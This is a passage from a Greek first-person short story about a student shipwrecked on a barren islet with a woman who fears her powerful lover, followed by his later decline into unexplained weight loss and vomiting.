Ακολούθησαν πολλές συνδιαλέξεις και πολλά ρινγκ τόουνς ώσπου ακούσαμε αυτό το καινούριο τραγούδι της Ηρώς – ακόμα δεν είχε κυκλοφορήσει καλά -καλά το σι ντι και εκείνη το είχε σε ρινγκ τόουν – και μόνο τότε γλύκανε το πρόσωπό της και απάντησε πολύ τρυφερά εξηγώντας μάλλον το ξαφνικό ταξίδι της και χαϊδεύοντας με το ελεύθερο χέρι το δέμα δίπλα της. Αυτός που του αρέσει η Ηρώ είναι ο «περί ου ο λόγος», ο τύπος που βασανίζει τις σκέψεις αυτού του κοριτσιού και εμείς έχοντας τόσο πολύ αφοσιωθεί στις κινήσεις της, ήδη μαντεύουμε την έκφρασή του, τον τρόπο που κρατάει το δικό του κινητό, τη μορφή που έχει αποθηκευμένο στη μνήμη τον αριθμό της και κυρίως τον τόνο της φωνής, αυτό το επιβλητικό σκληρό μέταλλο που έχουν τα λόγια ανθρώπων με αυτοπεποίθηση και που ακόμα και το «εμπρός» που λένε σηκώνοντας το ακουστικό κάνει όλες τις γυναίκες να λιώνουν.

Είχαμε απορροφηθεί με τα τηλεφωνήματα και αφήναμε τις μελωδίες του κινητού της να αιφνιδιάζουν τα αυτιά μας και ούτε το κύμα καταλάβαμε, ούτε ότι το σκάφος έκανε μία διαφορετική πορεία για να φθάσουν πιο γρήγορα τα φάρμακα στο προορισμό τους. Δεν είχε καμία υπερβολική φουρτούνα, απλώς γινόταν αισθητό ότι το σκάφος ανηφόριζε και κατηφόριζε στο κύμα χωρίς να γίνεται αγχώδης αυτή η πορεία του. Όμως είχαν ζορίσει κάπως τις μηχανές, είχαν αλλάξει και τη συνηθισμένη τους ρότα, βρισκόμαστε πιο κοντά προς το ανοιχτό πέλαγος και πιο μακριά από τη ξηρά και το σκαρί ήταν παλιό, έχοντας μόνο στους τύπους εξασφαλίσει την άδεια πλεύσης και η μηχανή κάποια στιγμή ζορίστηκε αρκετά και έβγαζε έναν αφύσικο ήχο και μόλις ο ένας από τους δύο πηδαλιούχους κατέβηκε στο αμπάρι να δει τι γίνεται, τότε ξαφνικά γέμισε όλο το σκάφος πυκνούς καπνούς ,που έβγαιναν από τη καταπακτή της μηχανής και σε λίγο ούτε ο «μηχανικός» άντεχε εκεί, ούτε εμείς μέσα στο σκάφος και βγήκαμε όλοι και κρεμόμαστε στα πλαϊνά, ακριβώς στην πατούρα πάνω από τα λάστιχα που κρεμάνε στις δύο πλευρές του πλοίου, για να μη τραυματίζεται όταν πιάνει λιμάνι και κανείς δεν πρόλαβε να σηκώσει το κινητό και δεν λειτουργούσαν ούτε τα CB ούτε άλλος τρόπος βρέθηκε να επικοινωνήσουμε, να εκπέμψουμε ένα SOS και σε δευτερόλεπτα έγινε η έκρηξη που χώρισε το σκάφος στη μέση και βρεθήκαμε στο νερό. Το κύμα ήταν ψηλό και βρεθήκαμε πολύ μακριά μεταξύ μας. Δεν πρόλαβα να δω τους άλλους δύο φίλους μου και μόνο τη «γοργόνα μας» είδα να επιπλέει αγκαλιά με πολύτιμο φορτίο της που φαίνεται ότι λόγω της κατασκευής του ήταν αρκετά ελαφρύ για να την κρατάει στην επιφάνεια. Δεν μπορώ να πω ότι η θέα της με καθησύχασε ότι εκείνη θα τη γλιτώσει. Είχα κάποια θετικά συναισθήματα για τη καλή της μοίρα, αλλά ήδη οι σκέψεις μου ήταν θολές για ότι έγινε, δεν ήξερα αν πηδήξαμε στο νερό γιατί μας έπνιγε ο καπνός ή αν ο κραδασμός της έκρηξης μας άδειασε στη θάλασσα, δεν κατάφερα να διακρίνω τους φίλους μου και είδα όλους τους επιβάτες σαν κουκίδες να απομακρύνονται και από μένα και μεταξύ τους σαν θραύσματα ενός μπιγκ – μπαγκ που μας εξωθούσε στα σημεία του ορίζοντα. Απομονώθηκα τόσο πολύ που δεν καταλάβαινα τίποτε γύρο μου και αισθανόμουν αυτή τη δύναμη επιβίωσης να φουντώνει μέσα μου, ώστε να κολυμπάω και να μένω στην επιφάνεια αλλά χωρίς σκοπό και χωρίς προσανατολισμό.Κολύμπησα πολύ ώρα, μέχρι που άρχισα να αισθάνομαι ότι είμαι σε ένα στρώμα με πολύ μπερδεμένα σεντόνια και έπρεπε να τα απομακρύνω για να ξαπλώσω να ξεκουραστώ..…………

Ξύπνησα με τον ήχο του κύματος που σκαει στη παραλία. Είναι πρωί και είμαι ανάσκελα στην άμμο και όλα τα μέλη του σώματός μου τα αισθάνομαι τόσο βαριά που δεν μπορώ να τα κουνήσω. Περνάει πολλή ώρα μέχρι να κάνω κάποιες κινήσεις. Είμαι κολλημένος στην άμμο σαν όστρακο που το έβγαλαν έξω τα κύματα. Μόνο όταν καταφέρνω να σηκωθώ μπορώ να καταλάβω πόσο εξαντλημένος είμαι. Μου λείπει το δεξί μπατζάκι από το γόνατο κάτω εκεί που ήταν το σχίσιμο και δεν έχω ούτε πουκάμισο ούτε σανδάλια. Ρίχνω μία ματιά στη παραλία και λίγο πιο πέρα βλέπω ένα ακίνητο σώμα φερμένο από τα κύματα και πλησιάζω με χτυποκάρδι και δεν μπορώ να διανοηθώ ότι αυτό που βλέπω είναι το «πλάσμα» , είναι εκείνο το θεϊκό κορίτσι μπλεγμένο ανάμεσα σε φύκια που σκεπάζουν το κορμί της, το τζιν της έχει γίνει ένα πολύ καυτό σορτς, το μπούστο έχει γίνει μια φαρδιά ζώνη γύρω από τη μέση και το στήθος της παλεύει με τα φύκια, προσπαθώντας να τα απωθήσει για να κάνει αισθητή την αγέρωχη παρουσία του.

Απομακρύνω τα φύκια και όπως αγγίζω με δέος το δέρμα της δεν μπορώ να πω ότι το θεωρώ νεκρό. Την ξεκολλάω από την άμμο και με τις λίγες δυνάμεις που μου έχουν απομείνει προσπαθώ να τη μεταφέρω μακριά από το νερό. Δεν κάνω δύο βήματα και προσγειώνομαι στην άμμο. Στη προσπάθειά μου να μη χτυπήσει κάνω μία άγαρμπη κίνηση και πιέζεται το στομάχι της και μία ποσότητα νερού πετάγεται από το στόμα της και ενώ δεν ξέρω αν είναι ζωντανή βήχει τόσο δυνατά που τρομάζω και εκείνη τη στιγμή μόνο αισθάνομαι ότι έχω συνέλθει από το σοκ του ναυαγίου.

Ανοίγει τα μάτια και δεν ξέρω αν με βλέπει και τη γυρίζω στο πλάι όπου συνεχίζοντας να βήχει βγάζει κι άλλο νερό. Πηγαίνω μέχρι το νερό και γεμίζω τις χούφτες μου και της πλένω το πρόσωπο από την άμμο και τα φύκια. Περιμένω και δεν αντιδράει ιδιαίτερα, δεν μιλάει και ξέρω ότι έχουμε την ίδια κούραση και ξαναπαίρνω νερό και της δροσίζω τα χείλη και το πρόσωπο. Αυτό που μου συμβαίνει είναι τόσο απροσδιόριστο που κάνω αλλοπρόσαλλες σκέψεις. Σκέφτομαι αν τη βρίσκω ακόμη τόσο σέξι όπως πριν στο καράβι. Μετά σκέφτομαι αν θα μας βρούνε σύντομα ή αν θα πεθάνουμε της πείνας σ’ αυτό το νησί. Θέλω να κάνω μία βόλτα προς τη στεριά να δω που βρισκόμαστε, αλλά περιμένω να σιγουρευτώ ότι είναι καλύτερα. Περνάει κάποια ώρα και αυτός ο παροξυσμός βήχα έχει σταματήσει και νομίζω ότι είναι καλύτερα τώρα.

Ανοίγει τα μάτια, αυτά τα φοβερά μαύρα μάτια-φωτιές και νομίζω ότι ξυπνάει πάλι το πλάσμα που ήταν στο σκάφος το πρωί. Και ενώ είμαι ο ήρωας που της έσωσα τη ζωή δέχομαι ένα καταιγισμό από φωνές, λέξεις που δεν μπορώ να πιστέψω ότι βγαίνουν από ένα τόσο ωραίο στοματάκι και μένω άναυδος. Εκείνη σηκώνεται απότομα απομακρύνεται λίγο μου γυρίζει τη πλάτη για να φτιάξει το μπούστο της, κοιτάζει συνέχεια μια το στήθος και μια εμένα και με ρωτάει πόση ώρα είμαι εκεί από πάνω της και αν την άγγιξα και ψάχνεται με ένα τρόπο σαν να θέλει να δει αν υπάρχουν ίχνη από τα χέρια μου πάνω της και δεν ξέρω αν έχω θυμώσει και θέλω να την πνίξω ή αν μου αρέσει πιο πολύ αυτή η λυσσασμένη αντίσταση που προβάλλει τώρα , αντίσταση χωρίς νόημα αφού μόνο με τη φαντασία μου την έχω γδύσει, την έχω ερωτευθεί, την έχω κάνει να ξεχάσει ότι ήξερε μέχρι τώρα για τους άνδρες.

Όπως κάθομαι και την ακούω εκεί δείχνει να φοβάται ότι διατρέχει πολύ μεγάλο κίνδυνο και μου λεει ότι δεν έπρεπε να γλιτώσουμε και καλύτερα να έβρισκαν τα κορμιά μας πνιγμένα εδώ, παρά να μας βρουν μαζί. Φυσικά έχω κάποιο σοκ αλλά δεν μπορώ να ακούω άλλο αυτό το παραλήρημα, το κορίτσι μπορεί να είχε κάποια προβλήματα ήδη και όλα αυτά που πέρασε έφεραν στην επιφάνεια πράγματα που… νομίζω θα ήταν καλύτερα αν είχε σωθεί παρέα με ένα ψυχίατρο εδώ. Μέχρι να τους βρουν θα είχε κάνει και δωρεάν θεραπεία. Εγώ το μόνο που μπορώ να προσφέρω εδώ – και με τα μέσα που διαθέτω – είναι: «απλό σεξ», «δυνατό σεξ», «πολύ τρυφερό σεξ» και πολύ «ρομαντικό σεξ» για επιδόρπιο μετά το «κυρίως σεξ.»

Όπως μου μιλάει ξαφνικά βλέπει το δέμα της να το λικνίζουν τα κύματα στη παραλία και με παρατάει χωρίς κουβέντα για να τρέξει γρήγορα προς τα εκεί. Κάνει πολύ μεγάλες χαρές που είναι το δέμα της. Το φέρνει κοντά μου και τώρα δείχνει πιο ήρεμη σαν να διέφυγε ένα μέρος του κινδύνου που νομίζει ότι την πλησιάζει. Δεν της δίνω καμία σημασία πλέον και πηγαίνω προς το κέντρο του νησιού να δω που βρισκόμαστε. Δεν υπάρχει καμία φοβερή βλάστηση κι ανεβαίνοντας σε ένα ψηλότερο βράχο βλέπω ότι είμαστε πάνω σε μία μεγάλη βραχονησίδα που όμως εκτός από λίγους θάμνους και τη θάλασσα γύρο – γύρο να μας κρατάει δέσμιους εκεί δεν υπάρχει τίποτε άλλο. Το πιθανότερο είναι ότι τη νύχτα θα έχει αρκετό κρύο και δεν υπάρχει δυνατότητα να ανάψουμε φωτιά η να ζεσταθούμε με άλλο τρόπο εκτός… από ένα «τρόπο» που εγώ ξέρω πολύ καλά αλλά δεν…

Γυρίζω πίσω και της λεω ότι είμαστε σε ένα πολύ μικρό νησί που δεν έχει τίποτε επάνω. Δεν απαντάει και τότε τη ρωτάω τι περιέχει το δέμα της και μου λεει να μη με νοιάζει. Θέλω να της πω ότι τα πράγματα είναι πολύ σοβαρά, ότι αν αργήσουν να μας βρουν θα πίνουμε αλατόνερο και αν αναγκαστούμε να φαμε φύλλα από τους θάμνους θα μας προλάβει η αφυδάτωση της διάρροιας πριν από τη δίψα να μας αποτελειώσει. Δεν θέλει να μου αποκαλύψει τι έχει το δέμα και μου λεει αν θέλω το καλό μου να μη προσπαθήσω να το παραβιάσω. Πάντως εδώ παρατηρώ ότι ενώ εγώ έχω ένα φόβο για τα στοιχεία της φύσεως, ότι δηλαδή πρέπει να αντιμετωπίσουμε τη πείνα και τη δίψα, εκείνη έχει μία σιγουριά ότι θα μας βρουν σύντομα και το μόνο που πρέπει να κάνουμε εμείς από τη πλευρά μας, είναι να είμαστε σε μία κατάσταση «κοινωνικά κορέκτ» και να μη δίνουμε σε καμία περίπτωση την εντύπωση ότι «κάτι προηγήθηκε» μεταξύ μας ούτε καν ότι μας πέρασε από το μυαλό.

Το διαισθάνομαι πολύ έντονα αυτό που λεω και προσπαθώ να μάθω περισσότερα. Αρχίζω από το δέμα. Τι έχει μέσα το δέμα; Θέλω να μάθω τώρα αμέσως τι έχει μέσα το δέμα. Μου λεει το καλό που μου θέλει να μη ασχοληθώ με το δέμα. Το πιάνω στα χέρια μου και βάζει κάτι φωνές, αλλά ποιος να την ακούσει. Αναρωτιέμαι μήπως έχει ναρκωτικά, μήπως είναι ένα ντόπιο κύκλωμα με τις διασυνδέσεις του οπότε πράγματι θα μας βρουν γιατί έχουν επενδύσει πολλά σ’ αυτή την υπόθεση.

Θέλω αμέσως να δω τι έχει μέσα το καταραμένο το δέμα. Αντιστέκεται και κάποια στιγμή ξεσπάει σε κλάματα, οπότε το παρατάω και της λεω ότι έχει πολύ άγχος για μια τέτοια ερημική παραλία και ότι το καλύτερο θα ήταν να δοκιμάσουμε αυτή τη λύση του οργασμού, γιατί έχω διαβάσει ότι μετά από ένα δυνατό οργασμό ο εγκέφαλος εκκρίνει ενδορφίνες, μικροποσότητες ορμονών που ανεβάζουν την αντίσταση του οργανισμού και φέρνουν μια γλυκιά ηρεμία, κάτι σαν αγχολυτικό. Φυσικά μου λεει ότι πρέπει να βγάλω από το μυαλό μου κάτι τέτοιο, γιατί δεν μπορώ ούτε να φανταστώ πόσο σημαντικός είναι εδώ στη περιοχή ο εραστής της και τι δύναμη έχει σε μία μεγάλη ομάδα ανθρώπων που δουλεύουν για λογαριασμό του.

Η ώρα περνάει και δεν εμφανίζεται κανένα σημάδι στον ορίζοντα. Απομακρύνομαι από κοντά της και κάνω άσκοπες βόλτες μέχρι την άλλη άκρη του βράχου χωρίς διάθεση με τελείως μπερδεμένες σκέψεις. Πραγματικά αδιαφορώ αν θα μας βρούνε, προσπαθώ να σκεφτώ αν έχουν σωθεί οι φίλοι μου και να εξηγήσω πως βρεθήκαμε εμείς οι δύο, από τόσο κόσμο που είχε το καράβι, εδώ σ’ αυτό το έρημο νησάκι. Ο ήλιος ανεβαίνει και καιει πιο πολύ . Δεν αισθάνομαι δίψα ακόμα και δεν ξέρω τι άλλο θα μας προκύψει εδώ και φαντάζομαι ότι το πρόσωπο του θανάτου με τίποτε δε μοιάζει μ’ αυτό το νησί και όπως και να έχουν τα πράγματα ένας τεταρτοετής φοιτητής ξέρει πολύ καλά ότι καμία γυναίκα δεν μπορεί να πει το ναι τόσο εύκολα και δεν χάνω καθόλου τις ελπίδες μου για μία ονειρική έκβαση αυτής της ιστορίας και πιάνω τον εαυτό μου να σκέφτεται και να παρακαλάει ενδόμυχα να καθυστερήσει πάρα πολύ να μας βρει είτε το λιμενικό, είτε αυτός ο άγριος τύπος που κρατάει τη περιοχή στη χούφτα του και τόσο πολύ τον φοβάται αυτό το υπέροχο πλάσμα που τώρα είναι ακουμπημένο στο δέμα με τα φάρμακα και ξέρει πολύ καλά ότι το καλύτερο που έχει να κάνει είναι να περιμένει (και συγχρόνως να με κρατάει σε απόσταση).

Τώρα βέβαια καταφέρνω να σκεφτώ το αυτονόητο, ότι δηλαδή το σημαντικότερο θα ήταν να είχαμε ένα κουτί σπίρτα και αν μπορούσαμε να ανάψουμε μία φωτιά και τότε κάποιο περαστικό πλοίο ή κάποιος που μας αναζητά θα μας έβλεπε ευκολότερα. Την πλησιάζω και πάλι και τη ρωτάω μήπως υπάρχουν σπίρτα ή κάτι εύφλεκτο που να μπορούσαμε να το ανάψουμε και ενώ ψάχνω τις τσέπες μου ανακαλύπτω την οδοντόβουρτσα μου και μάλιστα δεν έχει χαθεί ούτε η οδοντόκρεμα και αμέσως βουρτσίζω τα δόντια μου με θαλασσινό νερό και λεω ότι το σεξ είναι πολύ αγοραίο αν δεν αρχίζει μ’ ένα φιλί και μπορώ να της δανείσω τουλάχιστον την οδοντόκρεμα για να νιώσει αυτή δροσιά στο στόμα της και ίσως να έχει και μία ξεδιψαστική αίσθηση τώρα που ο ήλιος έχει ανέβει ψηλά. Γυρίζει με πολύ κακή διάθεση και μου λεει πως οτιδήποτε θα ήταν αφύσικο εδώ σ’ αυτή την ερημιά, όπως το να μυρίζει ωραία το στόμα της θα ήταν αιτία για να ζηλέψει ο εραστής της και τότε δεν θα μας έσωζε τίποτε και τους δύο από το θυμό του και τότε πρόσεξα ένα φευγαλέο βλέμμα της προς τα πόδια της όπου υπήρχαν ίχνη από παλιά σημάδια και χτυπήματα, όλα όπως φαίνεται εικαστικά έργα, κάτι σαν μπόντι αρτ, μίας ζήλιας, ενός εγωισμού και μίας παθιασμένα κτητικής κατάστασης, (σ’ αυτόν τον ημιάγριο αναφέρομαι) που ξεπερνάει τα όρια του έρωτα που φθάνει σε μια άγρια όρεξη για ζωή, για κατάκτηση και πλήρη υποταγή και σαν να προκαλεί, σαν να δίνει συχνά μια ανελέητη μάχη με το θάνατο που τον συναντά παντού, που τον σνομπάρει και τον υποτιμά σαν να μη δέχεται με τίποτε ότι τέτοια κορμιά μια μέρα θα είναι ανήμπορα να παραμερίσουν το χώμα που τα σκεπάζει… Μια στιγμή, να το σκεφτούμε πάλι αυτό το τελευταίο, τώρα σίγουρα περιγράφω μία προσωπικότητα που παίρνει ή ναρκωτικά ή προζάκ, πρέπει να δω επειγόντως τι περιέχει το δέμα.

«Θέλω να ανοίξουμε τώρα το δέμα» λεω και την κοιτάζω αυστηρά. «Οκ» μου λεει, «θέλεις να μάθεις τι περιέχει αυτό το σκατοδέμα που εξ αιτίας του βρίσκομαι εδώ και δεν υπήρχε τίποτε χειρότερο να μου συμβεί. Το δέμα περιέχει προφυλακτικά. Μάλιστα προφυλακτικά. Περιμένουμε πολύ κόσμο εφέτος εδώ και το πρώτο κύμα ήρθε αυτές τις μέρες. Τώρα τι να σου πω; Ότι έρχονται για σεξουαλικό τουρισμό; Δεν ξέρω, ξέρω όμως ότι τα καταστήματα είχαν μία έλλειψη σε προφυλακτικά και έπρεπε να εφοδιαστούν αμέσως.» «Προφυλακτικά έχει το δέμα; Δεν μπορώ να το πιστέψω.» «Ναι προφυλακτικά έχει το δέμα.» «Και συγνώμη να έχουμε τόσα προφυλακτικά εδώ που φθάνουν για ένα ολόκληρο νησί και να μη μπορούμε να κάνουμε έρωτα;» «Δεν είσαι καλά μου φαίνεται. Αν θες τόσο πολύ πνίξε με και μετά κάνε μου ότι θες.» «Εσύ δεν είσαι καλά. Με προσβάλεις. Απλά θέλω να πω ότι τα πράγματα δείχνουν από μόνα τους τι μπορούμε να κάνουμε: σεξ και μάλιστα πολύ ασφαλές σεξ. Πρόσεξε με. Βουρτσίζουμε τα δόντια μας, μάλλον διαλύουμε λίγη οδοντόκρεμα στο στόμα, ξεκινάμε με ένα υπέροχο φιλί, όπως εκείνο στη παραλία στο φιλμ «Όσο υπάρχουν άνθρωποι» – αλήθεια το έχεις δει αυτό το φιλμ; – και μετά κλείνεις τα μάτια και τά αφήνεις όλα σε μένα. Θα σε οδηγήσω στη χώρα της αιώνιας ηδονής.»

« Δε ξέρω τι ταινίες βλέπεις , αυτό που ξέρω είναι ότι ,μόλις διάλεξες τον τρόπο που θες να πεθάνεις» μου είπε. «Κοίταξε πως έχουν τα πράγματα: Αυτό που μας συμβαίνει είναι κάτι σαν στοίχημα. Αν μας βρει ο αγαπημένος σου κερδίζεις, αν όμως πεθάνουμε εδώ από πείνα και δίψα χωρίς να καταφέρει να μας βρει κανείς τότε αυτό που μας συμβαίνει εδώ είναι αποκλειστικά δικό μας θέμα και μόνοι μας θα δούμε τι θέλουμε. Αυτή τη στιγμή για μας ο κόσμος μας είναι αυτό το νησί και αφού δεν υπάρχει τίποτε άλλο ούτε τρόφιμα, ούτε νερό, ούτε φωτιά παρά μόνο το έδαφος που πατάμε και γύρο μας η θάλασσα, η φύση μιλάει από μόνη της, τι μας απομένει να κάνουμε; ορίστε απάντησέ μου. Να σου πω εγώ γιατί εσύ δεν ξέρεις. Μόνο έρωτα μπορούμε να κάνουμε μάλιστα μόνο έρωτα ίσως και κάτι άλλο: να… προσευχηθούμε. Εγώ δεν θέλω, αν θες εσύ πες μου να σε αφήσω ήσυχη.» «Αν έστω και για μια στιγμή σκεφτεί αυτά που μου λες είσαι τελειωμένος.» «Θέλω να πεθάνω για χάρη σου.» «Ναι αλλά δεν θέλω εγώ να… πεθάνω για χάρη σου» μου είπε.

Οι ώρες περνάνε, οι σκέψεις χάνονται χωρίς νόημα στην απεραντοσύνη ενός θόλου που από παντού τυλίγει αυτό το νησί, τη θάλασσα και το παραμικρό λευκό κύμα που μπορεί κάπου να πιάνει το μάτι. Μόνο ένα πράγμα υπάρχει εδώ και το ξέρω μόνο εγώ. Αν δεν μας βρουν προβλέπω ένα «λευκό» τέλος. Ένα αόριστο πλατωνικό αίσθημα για τον έρωτα στον κόσμο των ιδεών, πλανιέται γύρω μας και είναι ο ορίζοντας που σαν έρωτας ενώνει τη θάλασσα με τον ουρανό και αισθάνομαι να είναι αυτό το απόλυτο συμβάν, αφού έχω την έμμονη ιδέα ότι οι δύο υπάρξεις μας είναι δύο «ημίσεα» που φαίνεται να συναντήθηκαν εδώ.

Εδώ ο φόβος – που απορρέει από τη δύναμη αυτού του «ημιάγριου» που μπορεί και φθάνει σ’ αυτό το νησί (σημαδάκι) που ένα και μοναδικό κύμα θα μπορούσε να το εξαφανίσει κάτω από το γαλάζιο νερό – αντιστέκεται και γίνεται το επίκεντρο μιας στεγνής πληγής, που τελικά φαίνεται να είναι αυτό το κορίτσι και που μέσα από αυτή την αντίσταση δεν ξέρω αν αυτό που διακρίνω είναι μόνο αγάπη.

«Πως σε λένε;» τη ρωτάω. «Τι σημασία έχει;» «Μπορεί να μη έχει» λεω. «Δεν ξέρω αν θα το πιστέψεις…» μου λεει «…αλλά εδώ και λίγη ώρα αισθάνομαι τη παρουσία του εδώ κοντά.» «Είναι παραισθήσεις» λεω «…από τον ήλιο και τη δίψα. Ο μόνος που είναι εδώ κοντά είμαι εγώ και η παρουσία μου, η αύρα μου, καλύπτει κάθε άλλο έμβιο ον.» Δεν πρόλαβα να τελειώσω τη φράση μου και οι μηχανές ενός δυνατού ταχύπλοου γέμισαν με τους κραδασμούς τους και τον ήχο των κυμάτων που έσκιζαν την απόλυτη ησυχία της γυάλινης θάλασσας που μας περιέβαλε. Τινάχτηκε σαν ελατήριο και έτρεξε στην ακτή, περπάτησε μέσα στο νερό και πλησίασε το όντως εντυπωσιακό σκάφος. Ένας ηλιοκαμένος άντρας ο πιο επιβλητικός της παρέας, κρέμασε το χέρι του από τη πλώρη και με μία κίνηση τη σήκωσε και την έβαλε στο σκάφος. Οι μηχανές δούλευαν στο ρελαντί, στο τιμόνι καθόταν ένας άλλος πολύ γυμνασμένος και περισσότερο «μπρονζέ» άντρας, ενώ υπήρχε και τρίτος που εξακολουθούσε να έχει τεταμένη τη προσοχή του ακόμα και σ’ αυτή την ερημιά μάλλον από συνήθεια. Αυτός ο τρίτος άντρας κατέβηκε σε λίγο και παρέλαβε το δέμα που βρισκόταν στην αμμουδιά. Το έπιασε πολύ προσεκτικά και το πέταξε με μία ρίψη ακριβείας μέσα στο σκάφος. Μετά με κοίταξε με νόημα, με μια ειρωνεία, είχαν όλοι το ίδιο βλέμμα πάνω μου, σαν να ήξεραν ένα κοινό μυστικό, πιθανόν να γνώριζαν πόσο πόθησα αυτό το πλάσμα και πως δεν κατάφερα τίποτε. Ήταν κάτι που το είχαν όλοι στο βλέμμα τους, ακόμη και εκείνη, σαν να ήταν από πάντα μία παρέα που συνεννοούνται με νοήματα, σαν να συνέβαινε το ίδιο και όταν είμαστε μόνοι μας και μόνο εγώ δεν μπόρεσα να καταλάβω τίποτε. Λίγο πριν βάλουν πλώρη για το πέλαγος, ο αχθοφόρος που παρέλαβε το δέμα μου πέταξε σαρκαστικά: «Σε λίγο έρχεται να σε πάρει η ακτοφυλακή.» Έφυγαν. Έδειχναν μια χαρούμενη παρέα που μόλις είχαν κάνει πικ-νικ στο νησάκι.

Η ακτοφυλακή έφθασε αργότερα. Ρώτησα για τους φίλους μου και είχαν σωθεί. Δεν υπήρχαν θύματα από το ναυάγιο και μόνο εμείς οι δύο παρασυρθήκαμε σ’ αυτό το απομακρυσμένο ξερονήσι. Μας θεωρούσαν πνιγμένους αλλά «κάποιος» – και εδώ τα λόγια τους απέκτησαν άλλη χροιά – ενδιαφερόταν να βρει οπωσδήποτε τα πτώματά μας.

Έμεινα δυο τρεις μέρες σε ένα νοσοκομείο για προληπτικούς λόγους και άφησα τις διακοπές μου στη μέση και γύρισα σπίτι. Νομίζω ότι όσο περνούσαν οι μέρες αισθανόμουν ότι κάτι δεν πήγαινε καλά αλλά δεν μπορούσα να εξηγήσω τι. Η Αθήνα όσο καυτή κι αν είναι το καλοκαίρι πάντα έχεις να κάνεις κάτι. Στις αρχές Αυγούστου είδα και τους δύο κολλητούς μου που είμαστε και συγκάτοικοι στο σπίτι στη Θεσσαλονίκη. Βγήκαμε δύο τρεις φορές και από τη πρώτη στιγμή και οι δύο με ρώτησαν τι έγινε με τη Ντέμπι «Ποια Ντέμπι ρε παιδιά;» «Έλα τώρα τη Ντέμπορα που μείνατε τόσες ώρες μόνοι σας σ’ ένα νησί μέχρι να σας βρει η ακτοφυλακή. Τη Ντέμπι που ζούσε στην Αμερική και ήρθε πρόπερσι στην Ελλάδα και ερωτεύτηκε έναν έλληνα και θέλει να μείνει για πάντα εδώ.» «Και πως ξέρετε πως τη λένε;» «Από τις εφημερίδες.» Γέλασα γιατί τελικά δεν είχα πάρει απάντηση πως τη λένε. «Και τι άλλο έγραψαν οι εφημερίδες;» «Τίποτε ιδιαίτερο, να ότι έχουμε κακές συγκοινωνίες και αισχροκέρδεια σε περιόδους αιχμής όπως το καλοκαίρι. Και ευτυχώς που δεν θρηνήσαμε θύματα και τέτοια…» «Άλλο τίποτε;» «Όχι.» «Λοιπόν ακούστε προσεκτικά μάγκες μου : δεν θα το πιστέψετε αλλά εκεί είμαστε τόσες ώρες μαζί δεν έγινε απολύτως τίποτε. Είμαστε τόσο εξαντλημένοι που ούτε να βοηθήσουμε ο ένας τον άλλο να σταθεί στα πόδια του μπορούσαμε.» Δεν είπα πολλά πράγματα, δεν έδωσα λεπτομέρειες και το μόνο που διαπίστωσαν κι αυτοί είναι ότι έχω αλλάξει ,ότι καθημερινά είμαι όλο και περισσότερο κουρασμένος, σαν να έφευγε η ζωή από μέσα μου.

Τέλος Αυγούστου είχα βαρεθεί στην Αθήνα και γύρισα στη Θεσσαλονίκη νωρίτερα από κάθε άλλη χρονιά. Δεν είχα μαθήματα, τα είχα περάσει όλα τον Ιούνιο και γύρισα μόνο για μια αλλαγή παραστάσεων, γιατί παντού με ακολουθούσε μια βαρεμάρα ανησυχητική. Πέρασα από το Πολυτεχνείο να βρω κανένα άτομο για παρέα, για βόλτες, για ποτά, για οτιδήποτε τέλος πάντων αλλά ήταν πολύ λίγος ο κόσμος και πέρασα μερικές τελείως μοναχικές μέρες. Τότε το πρόβλημα εκδηλώθηκε πιο ξεκάθαρα με μία φοβερή ανορεξία. Έτρωγα ελάχιστα. Άρχισα να αδυνατίζω. Μήπως το έιτζ κολλάει μόνο από πόθο; Γελούσα μόνος μου με τη «διάγνωση» που έκανα. Όταν κατέφθασαν οι συγκάτοικοι έκανα μεγάλη προσπάθεια να τρωω μαζί τους όταν βγαίναμε, αλλά έστω κι αν έτρωγα περισσότερο το έκανα εμετό. Πήγα στο παθολόγο του Πανεπιστημίου και με εξέτασε και δεν βρήκε τίποτε παθολογικό. Δοκίμασα άλλο γιατρό αλλά κανείς δεν εντόπιζε παθολογικά ευρήματα. Όταν πλέον είχα αδυνατίσει αρκετά ένας φίλος μας φοιτητής ιατρικής μίλησε για νευρική ανορεξία με ψυχολογικά αίτια.

Δεν μπορεί. Τι ψυχολογικά, δεν είμαι ο τύπος που κολλάει το μυαλό του σε μία γυναίκα. Δεν μπορεί να ερωτεύτηκα αυτή τη τύπισσα, τη Ντέμπι το καλοκαίρι και να είμαι «άρρωστος μαζί της» μέχρι το χειμώνα. Έχω γνωρίσει πολλά κορίτσια τέσσερα χρόνια στο πολυτεχνείο, ποτέ δε ζορίστηκα, ποτέ δεν τη πάτησα να σκέφτομαι κάποια για καιρό. Τώρα μάλιστα για να είμαι ειλικρινής δεν την σκέφτομαι τη Ντέμπι γιατί νομίζω ότι έχω κάτι σαν κενό μνήμης για εκείνες τις μέρες και τη συγκεκριμένη γυναίκα – εντυπωσιακή δεν λεω- τη θεωρώ κάτι σαν μοντέλο που την είδα σε κάποιο καλοκαιρινό περιοδικό με διαφημίσεις μαγιό ή σε κάποιο σόου στη τηλεόραση και την ξέχασα πολύ σύντομα.

Ωστόσο δεν είπα όχι να δω και κάποιο ψυχολόγο. Στην αρχή μιλήσαμε τετ α τετ μετά πρότεινε να με υπνώσει για να μελετήσει καλύτερα εκείνο το διήμερο των διακοπών. Όταν ξαναπήγα μου είπε ότι δεν είναι σίγουρος αν η συγκεκριμένη γυναίκα είναι το πρόσωπο που έχει καρφωθεί στη σκέψη μου ή αν πίσω από το πρόσωπό της κρύβεται κάποιος εφηβικός έρωτας που η απόρριψη στο νησί τον έφερε στην επιφάνεια. Πάντως κατά τη διάρκεια της ύπνωσης είπα πολλές φορές τους στίχους «Πιο ξένη κι απ’ τους ξένους θα γίνεις, στο δρόμο αν με δεις θα κρυφτείς….» Κι αυτό πολύ παράξενο γιατί δεν ακούω σχεδόν καθόλου Σφακιανάκη, όχι ότι δεν είναι καλός αλλά δεν είναι του στυλ μου.

Μετά από τόσους γιατρούς και αρκετά μπερδεμένος με το πρόβλημά μου συνέχισα να αδυνατίζω αλλά έκανα φοβερές προσπάθειες να μπουκώνω φαγητό έστω κι αν δεν είχα όρεξη. Μερικές φορές που έμενα πολλές ώρες νηστικός αγόραζα πέντε και έξι σουβλάκια με πίττα , τα καταβρόχθιζα με πρωτοφανή λαιμαργία και μετά αμέσως έκανα εμετό.

